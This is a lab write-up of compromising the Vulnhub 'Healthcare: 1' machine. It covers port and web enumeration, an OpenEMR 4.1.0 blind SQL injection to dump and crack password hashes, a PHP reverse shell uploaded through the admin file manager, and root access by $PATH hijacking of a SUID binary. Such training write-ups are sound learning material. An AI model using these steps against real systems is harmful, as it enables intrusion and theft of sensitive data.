Vulnhub | Healthcare: 1

In this post, we will take a look at the steps I took to completely compromise the "Healthcare: 1" host from Vulnhub.

a year ago   •   5 min read

By 0xBEN
Table of contents

Nmap Results

# Nmap 7.92 scan initiated Thu Jul 21 17:51:49 2022 as: nmap -T5 -p- -oA scan
Nmap scan report for
Host is up (0.00033s latency).
Not shown: 65533 closed tcp ports (reset)
21/tcp open  ftp
80/tcp open  http

# Nmap done at Thu Jul 21 17:51:51 2022 -- 1 IP address (1 host up) scanned in 1.99 seconds

Service Enumeration


Check for anonymous access to FTP. No luck.



# $Id: robots.txt 410967 2009-08-06 19:44:54Z oden $
# $HeadURL: svn+ssh:// $
# exclude help system from robots
User-agent: *
Disallow: /manual/
Disallow: /manual-2.2/
Disallow: /addon-modules/
Disallow: /doc/
Disallow: /images/
# the next line is a spam bot trap, for grepping the logs. you should _really_ change this to something else...
Disallow: /all_our_e-mail_addresses
# same idea here...
Disallow: /admin/
# but allow htdig to index our doc-tree
#User-agent: htdig
# disallow stress test
user-agent: stress-agent
Disallow: /



Web Enumeration

Check the paths found in robots.txt first. /addon-modules seems like a valid path, but only accessible from the localhost address. All others return 404 .

Try gobuster enumeration on the site root:

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html -t 200 -o gobuster.txt -r

/index                (Status: 200) [Size: 5031]
/index.html           (Status: 200) [Size: 5031]
/images               (Status: 403) [Size: 1009]
/css                  (Status: 403) [Size: 1009]
/js                   (Status: 403) [Size: 1009]
/robots               (Status: 200) [Size: 620]
/vendor               (Status: 403) [Size: 1009]
/favicon              (Status: 200) [Size: 1406]
/fonts                (Status: 403) [Size: 1009]
/gitweb               (Status: 403) [Size: 1009]
/phpMyAdmin           (Status: 403) [Size: 59]
/server-status        (Status: 403) [Size: 995]
/server-info          (Status: 403) [Size: 995]
/openemr              (Status: 200) [Size: 131]

Looking through the results, the /openemr resource instantly sticks out to me.

Looks like there is a SQL injection vulnerability on this version of OpenEMR according to Exploit Database.

searchsploit openemr 4.1.0
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                 |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR 4.1.0 - 'u' SQL Injection                                                                                                                                              | php/webapps/
Openemr-4.1.0 - SQL Injection                                                                                                                                                  | php/webapps/17998.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Exploit is an unauthenticated blind SQL injection attack that attempts to map out usernames and hashes by comparing sleep duration with character guesses. To run the exploit, we need to edit this variable with our target URL.

url = ""

Since this is a blind SQL injection, this will take a bit to run.

python ./

I will just add the hashes to a file and crack them with John the Ripper.


john --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords.txt hash

medical          (medical)     
ackbar           (admin)

So, the login credentials are effectively:

  • admin:ackbar
  • medical:medical

The first thing I want to do is revisit the FTP service to see if the credentials will let me in.

  • admin:ackbar doesn't work
  • medical:medical works!

Interesting Files

  • /Documents
    • Passwords.txt

After enumerating the FTP service, I log into OpenEMR as admin:ackbar and look for areas I can possibly get some code execution for a reverse shell.

Under the Administration menu, there is a Files interface where I could potentially modify an existing .php file or perhaps abuse the upload feature.

The file upload does not validate the MIME type. I was able to upload a .php file and navigate to and get a reverse shell on the target. I used the classic PHP reverse shell payload from pentestmonkey.

Post-Exploit Enumeration

Operating Environment

OS & Kernel

ZEN-mini release 2011 (PCLinuxOS) for i586    
Linux localhost.localdomain #1 SMP PREEMPT Fri Jul 8 18:01:30 CDT 2011 i686 i686 i386 GNU/Linux

Current User

uid=479(apache) gid=416(apache) groups=416(apache)

sudo binary not installed

Users and Groups

Local Users


Local Groups


Network Configurations


1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 5e:78:42:6d:7c:fe brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth1
    inet6 fe80::5c78:42ff:fe6d:7cfe/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0        *                   LISTEN      -                   
tcp        0      0 :::80                       :::*                        LISTEN      -                   

Interesting Files


Custom SUID binary with root owner

-rwsr-sr-x 1 root root 5813 Jul 29  2020 /usr/bin/healthcheck

Privilege Escalation

During post-exploit enumeration, one of the basic things to check for on a Linux box is SUID files.

find / -type f -user root -perm /4000 -exec ls -l {} \; 2>/dev/null

This target already has the strings binary installed, so I can take a look at the binary and hopefully find a path injection candidate or similar exploit:

strings /usr/bin/healthcheck

clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -

Easy win, this is a perfect candidate for $PATH injection. Since all of these commands are referenced by their relative names and not absolute paths like /usr/bin/clear , I can exploit path precedence and get a shell as root:

# Copy the bash binary to /tmp/clear
cp /bin/bash /tmp/clear

# Add /tmp first in path precedence so /tmp/clear resolves first
export PATH=/tmp:$PATH

# Run the binary

Now, when I run the /usr/bin/healthcheck binary, it will run with the root user's privilege level in my session. So, it will read binaries from my $PATH environment. I copied /bin/bash to /tmp/clear . Now, when /usr/bin/healthcheck is run and it tries to invoke the clear command, it will resolve clear => /tmp/clear instead of /usr/bin/clear , since I put /tmp first in my $PATH variable.





Thanks for Playing!

Follow me at:

root hash: eaff25eaa9ffc8b62e3dfebf70e83a7b

Spread the word

Keep reading